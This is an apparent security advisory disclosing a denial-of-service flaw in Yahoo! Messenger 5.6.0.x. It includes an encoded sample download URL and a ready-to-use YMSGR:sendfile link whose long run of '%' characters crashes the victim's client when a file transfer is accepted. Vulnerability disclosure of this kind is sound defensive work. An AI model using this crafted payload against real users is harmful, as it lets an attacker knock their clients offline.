Vulnerable systems:
Yahoo! Messenger version 5.6.0.X

Summary:
Vulnerability in Yahoo Messenger File Transfer option allows a remote attacker to shut down
the victim client.

Details:
The Yahoo messenger service filters some special characters in YahooID field like (x,&,?).When
attacker initiates a file send

request to victimID%%%%%%%%%(more than 73 chars), the service filters % chars and prompts
"victimID" for an incoming file

transfer session.If victim accepts the incoming file, his client will be shut down with access
violation error. The access

violation accurse in FT.DLL that is responsible for p2p YM file transfers.

sample download URL that the attacker client sends to victim machine :

http://10.10.10.1:81/Messenger.victimid%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25.1066206307331File.txt?AppID=Messenger&UserID=victimid%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25&K=lc9ly5954h9doeawsg31h9tgta6c7dtod8bqxrt2vykgw5e5j9dao0o9doeawsg31h9t8vey6uq19
6y 14 53
Messenger.vicitimid%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%.1066377306549File.TXT

the above url is encoded.

Example:
Use this link
YMSGR:sendfile?[victim_yahooID]+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&c%c:\[somefile]
while you are logged into YM(note that the length of victim_yahooID plus %(or ? or &) chars
must be more than 73 chars.)
It will fire a YM file transfer window.if the victim accepts your file,his client will be
closed.

Found by:
Pejman davarzany
pejman@hat-squad.com
Hat-Squad Security Research Team (www.hat-squad.com)